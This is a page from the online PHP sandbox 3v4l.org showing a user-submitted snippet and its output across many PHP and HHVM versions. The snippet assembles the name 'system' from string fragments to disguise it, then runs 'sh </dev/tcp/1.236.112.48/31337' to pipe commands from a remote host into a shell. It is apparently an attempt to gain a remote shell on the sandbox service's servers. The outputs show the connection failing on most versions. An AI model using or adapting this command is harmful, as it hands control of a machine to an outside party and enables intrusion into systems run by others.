3v4l.org

run code in 150+ php & hhvm versions
Bugs & Features
<?php $a=("s"."yst"."em");$a("sh </dev/tcp/1.236.112.48/31337"); var_dump(glob("./dev/fd/*"));
Output for 5.4.39 - 5.6.28, 7.0.0 - 7.1.0
array(4) { [0]=> string(10) "./dev/fd/0" [1]=> string(10) "./dev/fd/1" [2]=> string(10) "./dev/fd/2" [3]=> string(10) "./dev/fd/3" }
Output for hhvm-3.12.0
Failed to exec: `sh </dev/tcp/1.236.112.48/31337' array(8) { [0]=> string(10) "./dev/fd/0" [1]=> string(10) "./dev/fd/1" [2]=> string(10) "./dev/fd/2" [3]=> string(10) "./dev/fd/3" [4]=> string(10) "./dev/fd/4" [5]=> string(10) "./dev/fd/5" [6]=> string(10) "./dev/fd/6" [7]=> string(10) "./dev/fd/7" }
Output for hhvm-3.10.0

Process exited with code 153.
Output for 5.2.3 - 5.4.38
array(4) { [0]=> string(10) "./dev/fd/0" [1]=> string(10) "./dev/fd/1" [2]=> string(10) "./dev/fd/2" [3]=> string(10) "./dev/fd/3" } sh: 1: cannot open /dev/tcp/1.236.112.48/31337: No such file
Output for 4.3.1 - 4.3.6, 4.3.9 - 5.2.2
array(0) { } sh: 1: cannot open /dev/tcp/1.236.112.48/31337: No such file
Output for 4.3.7 - 4.3.8
bool(false) sh: 1: cannot open /dev/tcp/1.236.112.48/31337: No such file
Output for 4.3.0
array(0) { }